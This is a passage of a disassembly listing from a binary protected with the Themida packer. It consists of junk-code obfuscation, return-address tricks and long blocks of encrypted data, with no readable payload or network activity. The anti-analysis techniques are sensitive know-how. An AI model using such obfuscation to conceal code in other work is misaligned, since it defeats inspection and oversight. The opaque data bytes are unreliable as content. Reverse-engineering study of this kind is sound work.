		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BF4AC	endp

; ---------------------------------------------------------------------------
		dd 92EE1E29h, 9E95250h,	15000000h, 0B4B1CE66h, 64359E40h
		dd 0AE9310Fh, 43000000h, 0A180CC57h, 1D1732B8h,	50585A4Ah
		dd 0A800Fh, 52500000h, 310F6160h, 585A6160h, 55006A92h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0A9896A00h, 0E9AC3E32h, 0Eh,	0B0635D0h, 0D42A0A74h
		dd 9561CE16h, 10F9972h,	60FE244Ch, 0BE9FCh, 62260000h
		dd 419C6932h, 8E52ADA7h, 6A5A610Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0D386C351h
		dd 6A24C283h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 85C352h, 0D0431011h, 31B26CDFh
		dd 728966FCh, 88C0FFCh,	0F000000h, 28Fh, 0C1616000h, 666010CEh
		dd 0E97A56BAh, 0Fh, 45114F13h, 0B57158A3h, 5DC6B93Fh, 6164F59Ch
		dd 2728966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0DAC35343h, 4F3FDBAFh, 0FC99D8Dh, 1582h, 9E96000h
		dd 89000000h, 6D66F2D3h, 9A883442h, 0A3E88166h,	4CD61D5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D6C35141h
		dd 9FE9F901h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 5778C357h, 81B66060h
		dd 61F861F5h, 53858BF9h, 6A07E7D3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E99BC350h
		dd 5, 7341B011h, 6E921h, 53E00000h, 0BFA3D2AAh,	0D2AAB58Dh
		dd 8DFC07E7h, 0E7841785h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0F8D0FF94h
		dd 11E9h, 0FE7F9500h, 53C9BC9Dh, 0DD24337Dh, 38137D73h
		dd 85896DF2h, 7E7CBE3h,	168D0Fh, 870F0000h, 10h, 0BE9h
		dd 72B4DB00h, 0B09ED5E2h, 0A2848D94h, 8B666061h, 0A2B966D6h
		dd 858B61C7h, 7E7CBE3h,	18C0Fh,	0C3F90000h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8EC35747h, 0FFCFC336h
		dd 0F9650019h, 78E0F65h, 0F000000h, 18Dh, 6660F800h, 66DA22BFh
		dd 0B2BC281h, 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 5DC8CCC3h, 83CEF4BEh, 0E7D353BDh
		dd 850F0007h, 5Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 79C35646h, 60AF42F6h,	3810Fh,	0F4800000h
		dd 0CE81665Eh, 0C76195F4h, 0E7D35385h, 1013F07h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 144D2CB8h, 0E9FC44FEh, 18h, 12850Fh,	0DE90000h, 10000000h
		dd 0ACCF5A40h, 43809EE5h, 0BEC35740h, 20CDh, 0C00B0000h
		dd 708D3774h, 0EBBD8B0Ch, 0B907E7CBh, 8, 492275A6h, 488BFA75h
		dd 0E79D8B30h, 3B07E7CBh, 157F3458h, 0D26BD38Bh, 8BCA0304h
		dd 0E3858901h, 0EB07E7CBh, 0EB008B04h, 858B61C5h, 7E7CBE3h
		dd 8060F5CFh
		db 0F0h, 0A6h, 61h
; ---------------------------------------------------------------------------


loc_5BF82B:				; CODE XREF: Themida_:loc_5BF07Aj
		mov	eax, eax
		call	near ptr loc_5BF843+2
		aaa
		pop	ebp
		add	esi, [esi+4179F87Dh]
		call	far ptr	0C636h:0CBAA622Eh
		mov	esi, ds


loc_5BF843:				; CODE XREF: Themida_:005BF82Dp
		shr	dl, 59h
		movzx	ebx, bx
		add	ecx, 5A88h
		cld
		mov	edx, 493E09B3h
		add	edx, 0B6C20CBCh
		pusha
		mov	ebx, 3A11C8AEh
		popa


loc_5BF862:				; CODE XREF: Themida_:005BF8F8j
		mov	esi, [ecx]
		or	bx, 55BBh
		add	esi, 67386A22h
		jg	loc_5BF885
		pusha
		jmp	loc_5BF882
; ---------------------------------------------------------------------------
		sub	bl, [eax+ebx*2+797BA4C0h]


loc_5BF882:				; CODE XREF: Themida_:005BF876j
		mov	ebx, edi
		popa


loc_5BF885:				; CODE XREF: Themida_:005BF86Fj
		sub	esi, 537397C8h
		mov	bh, dh
		xor	esi, 2AA2D243h
		xor	ax, 82B8h
		push	esi
		jmp	loc_5BF8AA
; ---------------------------------------------------------------------------
		dw 0E354h
		dd 3A9D84F6h, 0B26D96B7h
		db 0E8h, 7Fh
; ---------------------------------------------------------------------------


loc_5BF8AA:				; CODE XREF: Themida_:005BF899j
		pop	dword ptr [ecx]
		push	edx
		jmp	loc_5BF8C2
; ---------------------------------------------------------------------------
		dw 8301h
		dd 4AC79DABh, 648DF453h, 42D090DFh
		db 0F9h, 4
; ---------------------------------------------------------------------------


loc_5BF8C2:				; CODE XREF: Themida_:005BF8ADj
		pop	eax
		sub	ecx, 4
		dec	edx
		jnz	loc_5BF8EF
		jmp	loc_5BF8DA
; ---------------------------------------------------------------------------
		dw 0C84Bh
; ---------------------------------------------------------------------------
		xchg	eax, edx
		mov	ds:3164EF0Eh, al


loc_5BF8DA:				; CODE XREF: Themida_:005BF8CDj
		jmp	loc_5BF902
; ---------------------------------------------------------------------------
		jge	short near ptr dword_5BF90C
		jno	short loc_5BF8E9
		psrld	mm2, qword ptr [esi]
		or	al, 7Ch
		inc	esi


loc_5BF8E9:				; CODE XREF: Themida_:005BF8E1j
		dec	ebx
		sbb	eax, 41274C56h


loc_5BF8EF:				; CODE XREF: Themida_:005BF8C7j
		push	edi
		pusha
		push	eax
		pop	ecx
		movzx	eax, si
		popa
		pop	edi
		jmp	loc_5BF862
; ---------------------------------------------------------------------------
		mov	ebx, 5789B02h


loc_5BF902:				; CODE XREF: Themida_:loc_5BF8DAj
		jmp	loc_5BFA4F
; ---------------------------------------------------------------------------
byte_5BF907	db 70h			; DATA XREF: Themida_:00585024o
					; Themida_:005854A0o
		dd 74000000h
dword_5BF90C	dd 78000000h, 7C000000h, 80000000h, 84000000h, 88000000h
					; CODE XREF: Themida_:005BF8DFj
		dd 8C000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h
		dd 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h
		dd 0F4000000h, 0F8000000h, 0FC000000h, 0
		dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0)
		dd 67000000h, 3005BF9h
; ---------------------------------------------------------------------------
		retn	0B2h
; ---------------------------------------------------------------------------


loc_5BFA4F:				; CODE XREF: Themida_:loc_5BF902j
		lea	eax, [ebp+7E7D47Ch]
		pusha
		jmp	loc_5BFA64
; ---------------------------------------------------------------------------
		db 56h
		dd 0CE257EB5h, 8EE952B6h
; ---------------------------------------------------------------------------


loc_5BFA64:				; CODE XREF: Themida_:005BFA56j
		mov	[ebp+7E42B99h],	eax
		popa
		mov	[ebp+7E7D5BCh],	eax
		xor	[ebp+7E43015h],	eax
		mov	byte ptr [ebp+7E42C2Dh], 54h
		adc	dx, 0CFB2h
		push	0FBE1882Eh
		xor	dword ptr [esp], 1583E007h
		jmp	loc_5BFA9F
; ---------------------------------------------------------------------------
		dd 0DE39E678h, 44EFEEABh
		db 0EDh, 19h, 0C6h
; ---------------------------------------------------------------------------


loc_5BFA9F:				; CODE XREF: Themida_:005BFA8Fj
		push	dword ptr [ebp+7E42141h]
		clc
		jl	loc_5BFAB0
		push	edx
		push	esi
		pop	edi
		pop	esi


loc_5BFAB0:				; CODE XREF: Themida_:005BFAA6j
		lea	eax, [ebp+7E7B0A7h]
		call	eax
		mov	ecx, [ebp+7E40D69h]
		mov	[ebp+7E41815h],	ebx
		mov	[ebp+7E7D5C0h],	eax
		or	[ebp+7E40729h],	esi
		jmp	loc_5BFB1C
; ---------------------------------------------------------------------------
		cmc


loc_5BFAD6:				; DATA XREF: Themida_:00582630o
					; Themida_:005847B8o ...
		push	esi
		mov	esi, [ebp+7E7D5BCh]
		mov	[esi], eax
		add	dword ptr [ebp+7E7D5BCh], 4
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5BFAE8	proc near		; DATA XREF: Themida_:0058441Co
		pusha
		lea	esi, [ebp+7E7D47Ch]
		jmp	short loc_5BFB00
; ---------------------------------------------------------------------------


loc_5BFAF1:				; CODE XREF: sub_5BFAE8+1Bj
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+7E7D5C0h]
		pop	esi
		add	esi, 4


loc_5BFB00:				; CODE XREF: sub_5BFAE8+7j
		cmp	dword ptr [esi], 0
		jnz	short loc_5BFAF1
		popa
		retn
sub_5BFAE8	endp

; ---------------------------------------------------------------------------
		xor	ebx, 624D14B3h
		jmp	loc_5BFB1C
; ---------------------------------------------------------------------------
		dw 167Ah
		dd 1B6C9624h, 0E7D104CCh
; ---------------------------------------------------------------------------


loc_5BFB1C:				; CODE XREF: Themida_:005BFAD0j
					; Themida_:005BFB0Dj
		lea	eax, [ebp+7E7D65Dh]
		mov	[ebp+7E41675h],	ecx
		mov	[ebp+7E41F91h],	eax
		jmp	loc_5BFC35
; ---------------------------------------------------------------------------
		db 0D3h
		dd 975B6640h, 838A055Ch, 1D76A188h, 0DD7A0E0Ah,	3733538Fh
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h
		dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h
		dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh
		dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh
		dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h
		dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh,	0E0A1Eh
		dd 0D25D3407h, 1E59A0A3h, 7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5BFC35:				; CODE XREF: Themida_:005BFB2Ej
		jmp	loc_5C0962
; ---------------------------------------------------------------------------
		push	7E7DA07h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7DB39h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7DC42h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7DD30h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7DDAEh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7DE7Bh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7DFC9h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7E08Ch
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7E13Fh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7E21Bh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7E2F7h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 0E5799B73h, 42D6F6CFh, 0A236502Ch, 599AD8Ch,	64F814EFh
		dd 11EC658Bh, 714B61F5h, 0CBA9BF53h, 2E0B21B5h,	1FCF8216h
		dd 0A578DDA2h, 0A5347913h, 29617956h, 5430815Bh, 54BBDA3Ah
		dd 329A6268h, 7F3DA1D9h, 0DAEC04E1h, 3916093Dh,	0EDC710EEh
		dd 891D76CFh, 3989256Ah, 0A60F62BCh, 8FC73013h,	38CCE4C1h
		dd 20FA4522h, 0ED51FFBh, 0E7404324h, 0F687C5Bh,	3B502AD7h
		dd 8A5313A6h, 3B8663DAh, 9AEA4361h, 3BC4BB38h, 329213A6h
		dd 0A63CCEB5h, 0CA238C13h, 5ABC96B8h, 5AC5E1BCh, 13A63CA5h
		dd 0AF54D131h, 2B13A63Ch, 3D5769C2h, 0E63A4160h, 6B06F8B5h
		dd 0A61409EEh, 35CC513h, 0C7A472AAh, 703977AFh,	216C4934h
		dd 55F02848h, 823AACFCh, 12F1EF06h, 0C49BBDCFh,	0D877B23Bh
		dd 0C8E4BF5Dh, 5A817B6h, 56400000h, 97296179h, 7B843825h
		dd 35B2D1B3h, 1442E94Eh, 384AA30Ch, 4122411Eh, 2A737E79h
		dd 0B43633Ch, 2ABE1770h, 3E10DE50h, 0D37249C5h,	1A526A47h
		dd 454A6D7Fh, 3AB71969h, 1442BA45h, 0B896A811h,	0A6A9B13Bh
		dd 5E96FF13h, 0A68ECEB1h, 386C7D13h, 77EF7B84h,	355CD8h
		dd 4D850000h, 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h
		dd 2C501425h, 0D87807D3h, 344827C5h, 0BD8322h, 5A30000h
		dd 0E299162Bh, 7013A6A6h, 4822AE07h, 5643182Ah,	5B296179h
		dd 5E2C6480h, 63316981h, 801E6E86h, 0B8538BA3h,	1D8F84A6h
		dd 181442A3h, 798F233Bh, 754C849Ch, 0C744941Ah,	13A6B04Dh
		dd 0F716AA13h, 64C61698h, 0A6B810E7h, 4355BE13h, 51E7E865h
		dd 3AAC1440h, 47FEF791h, 0DAB7431Dh, 68D1B0C2h,	839F7A18h
		dd 0AFFED9EFh, 0BC43C0D5h, 1A1B8923h, 0EFCC58B1h, 0AD2A7ED7h
		dd 7A623299h, 0A07B43Ah, 855D0000h, 0E0B9CF63h,	3A162CC0h
		dd 97768C20h, 0FED9EF83h, 8F754EE2h, 4BDFFBD6h,	0A93D5B35h
		dd 0B9FB593h, 6C0018F5h, 0F78C09B9h, 6313A57Ah,	7B568F1Eh
		dd 0D8B5CB5Fh, 4D5B2CC0h, 445C3942h, 681E9BEBh,	2613A6A9h
		dd 8B1126B6h, 92E23CCCh, 0A6566E15h, 2A83EC13h,	4FB78DAh
		dd 9713A656h, 0CF6AA2BAh, 0E909E27Eh, 0ABBD16B1h, 3E153E5h
		dd 74BBBE35h, 532C2537h, 0F813A686h, 0C9A644A6h, 73DE79B1h
		dd 13A6868Ch, 0C617350Fh, 0F6AE4B5Dh, 314725C3h, 34502BF9h
		dd 11EEC9DBh, 0C6D877EBh, 0E2h,	19F492EFh, 9E2AC5FDh, 7A94A6C4h
		dd 6A118E9Dh, 0E81442A0h, 0CDB22F7Fh, 891442A0h, 0C18FC720h
		dd 0E592CAE6h, 1442A3EBh, 0E579916Eh, 0C8A7F2CFh, 6D0B5BB4h
		dd 0A0667890h, 19579C0Eh, 5CCD4C88h, 22E88F0Ch,	0FD661442h
		dd 0E7C7C8EBh, 9C822597h, 0CFD845C5h, 154D6743h, 0D8A687Ah
		dd 13A63E0Bh, 3D5CF059h, 8F0C5C52h, 1440D833h, 0EA88D841h
		dd 23BEF60Ch, 0A338BC3h, 32448C30h, 0BFDBB654h,	1E3A152Bh
		dd 32A417CAh, 5EE42462h, 8D5h, 195B78Fh, 5EF212EBh, 0BE526C48h
		dd 21B5C9A8h, 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh
		dd 4A273DD1h, 3BEB9E32h, 0A57B39BEh, 0C1509513h, 0CB5F7B56h
		dd 2D7453F1h, 67023A4Eh
; ---------------------------------------------------------------------------


loc_5C0000:				; DATA XREF: Themida_:005829A0o
		push	cs
		setalc
		inc	esp
		mov	dword ptr [eax], 9E1442A0h
		xor	eax, 5D7150DCh
		and	eax, 815E788Ah
		imul	edx, ebp, 61795604h
		sub	[ebx+7Eh], ebx
		db	66h
		shr	byte ptr [ebx+0CA2ED63h], cl


loc_5C0023:				; DATA XREF: Themida_:00582514o
					; Themida_:005839A0o
		mov	esp, 0A0F6E85Ah
		xchg	eax, ebx
		mov	ah, 0A0h
		inc	eax
		stosd
		jmp	dword ptr [eax+eax]
; ---------------------------------------------------------------------------
		dd 83CD419Bh, 0EBE4F64Fh, 13A6643Dh, 690E8BEBh,	0E613A7B4h
		dd 0A7B49269h, 86D74013h, 0B4D2A926h, 178013A7h, 6C5C65BEh
		dd 62DFF4CEh
dword_5C005C	dd 13A7B49Dh, 3F77D039h, 0CC9992A4h, 52ED6FC0h,	6FD7A3Dh
					; DATA XREF: ___:off_444E7Co
		dd 0D412EF29h, 50C2126Bh, 1AC0F527h, 0AA889A36h, 0B37132Dh
		dd 94D04215h, 2B942D23h, 0E0857AF7h, 0E8511AD3h, 359E7D8Fh
		dd 456926FDh, 502078F5h, 89F21D34h, 0A6BE9B39h,	0C7C63812h
		dd 42E04CE6h, 0F80EEC78h, 0F91325C0h, 6CCFD1Ch,	0E05C62BFh
		dd 2EB83387h, 57975B85h, 7CCD1h, 9EC09800h, 0FB1BF40Ah
		dd 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h,	70861A36h
		dd 0CEE47896h, 3046DAF0h, 0F4A73B53h, 7C30C744h, 599E13A5h
		dd 617956CAh, 6A3D5229h, 0F8D17D30h, 0A22078D8h, 0C967B710h
		dd 0A9C5A0EDh, 457DD671h, 58BA98AAh, 0BA94DBBAh, 70C9649Ch
		dd 5229A638h, 1442ADh, 332C3E97h, 13A69F49h, 0EB0A9E07h
		dd 58BA0AA4h, 398274E6h, 6A7CCF0Ah, 414A0B71h, 1060C914h
		dd 2D7D9572h, 0B5A94ECBh, 0BC251B8Eh, 957288AAh, 0B48F2D7Dh
		dd 0B55F24A1h, 92FB1B8Eh, 976CE939h, 431B8EB5h,	2B02C8DAh
		dd 7DFA4A64h, 1C69632Eh, 0A54393FCh, 61CB0C8h, 2D91129h
		dd 5FD1218Dh, 0B330D269h, 3F185CCh, 9CC1218Ah, 2E0C1E7Bh
		dd 21F65ACCh, 0AD9567A3h, 0F804A29Bh, 0B6520415h, 1266BFDBh
		dd 5266B5E3h, 0DEBA4080h, 86000006h, 0E2F88CAEh, 3F55E909h
		dd 9FB54963h, 218ACC0h,	9E770B27h, 824FF58h, 66845E74h
		dd 0C8DEBCD2h, 29411E34h, 0B532E295h, 13A57DCEh, 4DB8478Ch
		dd 3F87542h, 941442A0h,	0E14A9BBBh, 65F7955h, 0F23918B6h
		dd 90A2FB17h, 76FE35B2h, 20BC13A5h, 55F02846h, 310EACFCh
		dd 95EE0CE6h, 0F60EEB01h, 0D3A8E7BEh, 8A3DBF9h,	18E25FAFh
		dd 0B6144145h, 1406F94Dh, 31716232h, 660ABh, 0A2C0400h
		dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h,	7DD61CF5h
		dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh,	7D4C33B0h
		dd 0C50A13A5h, 0B3309236h, 1442A0CCh, 0F515EE8Ah, 28678A9Ch
		dd 43B93686h, 1113A577h, 0DDBA58A8h, 3E1B31C5h,	7817EE26h
		dd 0B40D2703h, 0AEB8E764h, 5671442h, 0E5126A3h,	94FD1B8Dh
		dd 8D0E5229h, 0CCECC51Bh, 2100127Bh, 890668B8h,	1B8D0EF2h
		dd 0CCEAC460h, 0D1A62373h, 7D1B8D0Eh, 86240214h, 23FD91A9h
		dd 0B4A659B1h, 260369CEh, 89A3B50Eh, 0D24494ACh, 0DC98F2Ch
		dd 542BA8CCh, 21B8D42h,	682E4099h, 60B0FE91h, 6955C5E3h
		dd 5D23931Ch, 14E59CD1h, 9970C41Dh, 0F25A4B0Ch,	5932CB2h
		dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h
		dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h
		dd 7B007D2Dh, 0D713A57Eh, 79560392h, 7E5B2961h,	0DCB3D266h
		dd 8B0582D2h, 0C913A6B3h, 0D7EDCB69h, 0A6B4976Ch, 81DA4313h
		dd 0B4E39C49h, 576813A6h, 9906F2Fh, 0A406D878h,	0A6BC5027h
		dd 0CEE6C313h, 6302147Dh, 77h, 0EAEF1183h, 0BF57B20Ah
		dd 6816489Fh, 293B94F3h, 15F49254h, 316544FAh, 5FB84C56h
		dd 49652A4Dh, 1DF997F9h, 1E30CB03h, 0A62C6F25h,	4FCC2E13h
		dd 13A62EA8h, 0CCABBD26h, 0DF385630h, 7B651D8Fh, 39F43C98h
		dd 700B435Dh, 923F0517h, 13A633E9h, 4A9A0C5Eh, 213B77DBh
		dd 0C7B08322h, 0E7511967h, 500C38D5h, 0D8779FAFh, 2DFE77E9h
		dd 4AD080E5h, 0A39938h,	56C20000h, 5B296179h, 0BF06D80h
		dd 0C71442A0h, 3BCD055Eh, 4EEEC3C9h, 0C3D58C39h, 7CB4CCA9h
		dd 25B9D1AEh, 4278BE30h, 91DCB914h, 0AE429BB5h,	6BA3BB98h
		dd 63B3FB94h, 0A671F8E6h, 0A93DA613h, 59A9058Ah, 40A474DCh
		dd 4D9D0614h, 54744DEBh, 314D2842h, 99AC879Dh, 8978671Ch
		dd 318AF31Bh, 324436DDh, 0A3296962h, 445h, 9125471Fh, 0EE82A27Bh
		dd 4EE2FCD8h, 0B1455938h, 10A4C09Bh, 0BD98B137h, 1DF70DA1h
		dd 77556BFFh, 0DAB7CD61h, 0CB7B2EC2h, 0A57FA94Eh, 51E02513h
		dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 0A9E99F1Ch, 3EA713A6h
		dd 0AAA65906h, 0D32513A6h, 73F5935h, 89BD5A6Ch,	78072AD5h
		dd 0A6ABD8h, 69CB0000h,	0A6A617ECh, 485AC313h, 5A795673h
		dd 0AE9F2AF2h, 4393ECA5h, 9DAFC9A5h, 122E09D7h,	0CEA32DDAh
		dd 0D9B61442h, 3A172DC1h, 7C13EA22h, 31FAE22Bh,	50A96247h
		dd 25158300h, 0DA4313A6h, 46682746h, 1DF694F6h,	182AC5FDh
		dd 40DCA41Fh, 3181EA14h, 89CB893h, 0A7FB17F2h, 62329B76h
		dd 8277FD3Dh, 0E2000003h, 3E54E80Ah, 9BB14565h,	0FB11A5BFh
		dd 5E74081Ch, 0FAD36783h, 64805BF4h, 0C2E0BAD0h, 243A182Eh
		dd 859D7A90h, 118E3EF1h, 13A5406Ah, 5614A3E8h, 14EB687Bh
		dd 0C21442A0h, 566C0059h, 0FCCD6179h, 29617956h, 0D2667E5Bh
		dd 0A4EB61ABh, 6F3DBA0Ah, 3D13A68Ch, 69DBCBD4h,	7A5F7F94h
		dd 2D2638E4h, 0B793D5FAh, 33832B64h, 0BFC74CB6h, 0E5A212BFh
		dd 84A2241h, 73E5358Eh,	45C106E2h, 5F3BC73Eh, 966D3345h
		dd 8FA382F9h, 1363BC57h, 6E809875h, 22CF1390h, 0F18DA058h
		dd 52A2FB15h, 0AD8CD7B4h, 96AC4099h, 0DA4DA1B9h, 0EDB6193Ah
		dd 2CF27ADh, 0BD950000h, 18F1079Bh, 724E64F8h, 0CFAEC458h
		dd 361127BBh, 47AD861Ah, 8317330Eh, 0E175936Dh,	43D7EDCBh
		dd 0A438502Dh, 3FC441F1h, 9B13A541h, 7956C756h,	32AF1161h
		dd 1442A04Dh, 0C88EA009h, 0C0109EF1h, 0CBE3C05Eh, 815EC0B9h
		dd 8BF413A6h, 650D0F7h,	7FE81E89h, 9EFE12F1h, 1972B036h
		dd 374D2BC9h, 83E54725h, 0A6037106h, 6274DD13h,	422FBB69h
		dd 0B1F96914h, 0F7E49C26h, 0AFBAC31Ch, 0A7043F30h, 959553Ah
		dd 0C0552AA7h, 9801D815h, 112BA886h, 40DFF1E1h,	52D4BDCEh
		dd 5062A1BEh, 1AB80871h, 0BA99253Dh, 0C1D36EA6h, 0F0CB69FBh
		dd 0EF019CD4h, 0DFB8C3CCh, 3A93B38Ch, 0CC1491E1h, 8EC79ED0h
		dd 5A37D525h, 0BB98AE42h, 40789670h, 39F84CA5h,	0A295DAADh
		dd 1F3DC62h, 99710000h,	0F4CDE377h, 4E2A40D4h, 0AB8AA034h
		dd 12ED0397h, 638962F6h, 5FF30FEAh, 0BD516F49h,	1FB3C9A7h
		dd 80142C09h, 0DBA01DCDh, 7713A542h, 7956A332h,	0EB3B4F2Eh
		dd 42A0896Eh, 83DC4514h, 0C47B94Bh, 4275930Eh, 2966899Bh
		dd 12B83585h, 6113A66Fh, 0BED0E4C3h, 7D027FDFh,	0CA13A650h
		dd 0F6C83DFh, 2D96E746h, 981940D4h, 1F6F3F50h, 548CA481h
		dd 4CC9A7B9h, 1442F39Eh, 0B9D3AF4Dh, 6658C8A7h,	8FEF0F91h
		dd 0A0ABB40Dh, 0A37882BBh, 445E3AD8h, 2E800F32h, 4A6440DEh
		dd 63DD5A38h, 0F1DB1D3Ah, 16795088h, 48E64898h,	443D4F6Fh
		dd 0C33ACC1Ch, 0F94622BEh, 33CE061Ah, 7B07A2DAh, 0B24D859Fh
		dd 8E6B0959h, 0EFCCE276h, 74ACCAA4h, 0F2C80D9h,	0E0997690h
		dd 1171AA0h, 754D0000h,	0D0A9BF53h, 2A061CB0h, 87667C10h
		dd 0EEC9DF73h, 9F653ED2h, 3BCFEBC6h, 992D4B25h,	0FB8FA583h
		dd 5CF008E5h, 877CF9A9h, 5313A542h, 79567F0Eh, 23A502Eh
		dd 4CBE0E67h, 0AB0FBC7Eh, 0A3B796DDh, 867DFA4Ah, 54144266h
		dd 3C13D9EBh, 8E0B5B53h, 13A672E8h, 8F69FD66h, 1EF712F1h
		dd 0AD10522h, 0AF4A82DBh, 99157A9Dh, 539BCC49h,	0DE471441h
		dd 0FA14F08Eh, 0F29022E8h, 2AC5FD15h, 2D71A0CAh, 798BF831h
		dd 1A6A825Fh, 99443BB8h, 0A9121B89h, 825F7597h,	3EA0326Ah
		dd 89993AC1h, 0A32F981Bh, 9F98AACAh, 47083DE3h,	3C2363E0h
		dd 1C3A145Fh, 0A0F049E4h, 0D20A2802h, 7E3CC340h, 319A780Eh
		dd 55714CD8h, 2E0B2143h, 3110DE16h, 572EE51Dh, 0EFCE6C2Fh
		dd 0D2AFC9DBh
		dd 7EB146C3h, 0B41D780Eh, 0D4B1C75Bh, 753312B5h, 0EF484B5Eh
		dd 0B25019Fh, 602638D3h, 0F1CE6CCEh, 9B06A1D9h,	780E3AE4h
		dd 63E5E37h, 9FB11A6Bh,	8CDh, 0F4925C00h, 7EAFC1Ah, 5C7E56B8h
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 8952EE43h, 4C281E2h
		dd 50000000h, 4B8h, 58C22900h, 5C241487h, 18B268h, 242C8900h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC812404h
		dd 4, 0BA241489h, 68547B1h, 4A08E2C1h, 0C281DAF7h, 57F72432h
		dd 0EA81D2F7h, 2568B4AFh, 545AD589h, 8124048Bh,	4C4h, 0B9515500h
		dd 31A6706Dh, 4244C01h,	8408F59h, 6D086881h, 8B31A670h
; ---------------------------------------------------------------------------
		add	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		sbb	byte ptr [edi],	0F8h
		jmp	short near ptr word_5C09BA
; ---------------------------------------------------------------------------
		std


loc_5C0962:				; CODE XREF: Themida_:loc_5BFC35j
		mov	eax, 7E7E433h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		mov	edx, 40369FA1h
		ficom	word ptr [bp+si]
		db	64h
		popf
		imul	dword ptr [edx]
		jmp	short loc_5C09C8
; ---------------------------------------------------------------------------
byte_5C0979	db 8Fh,	1Ch, 25h	; DATA XREF: Themida_:00585604o
		dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
		dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh,	0A6DB67h
		dd 43A7CAh, 0DC80BA9Fh,	0
		dd 0FEB51B54h, 0FE330000h
		db 0FBh, 0
word_5C09BA	dw 0			; CODE XREF: Themida_:005C095Fj
dword_5C09BC	dd 52DDB487h, 9ED92023h, 7C809E01h; ---------------------------------------------------------------------------


loc_5C09C8:				; CODE XREF: Themida_:005C0977j
		jmp	loc_5C1CDC
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C09D8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C09D8	proc near		; CODE XREF: Themida_:005C09D0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5C09D8	endp

; ---------------------------------------------------------------------------
		dd 6B7176E4h, 0E94626B2h, 5, 1219D1BEh
; ---------------------------------------------------------------------------
		cli


loc_5C09F9:				; DATA XREF: Themida_:005832B0o
		cmp	dword ptr [ebp+7E42015h], 0
		jnz	loc_5C0A66
		push	0
		push	esi
		call	sub_5C0A11
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



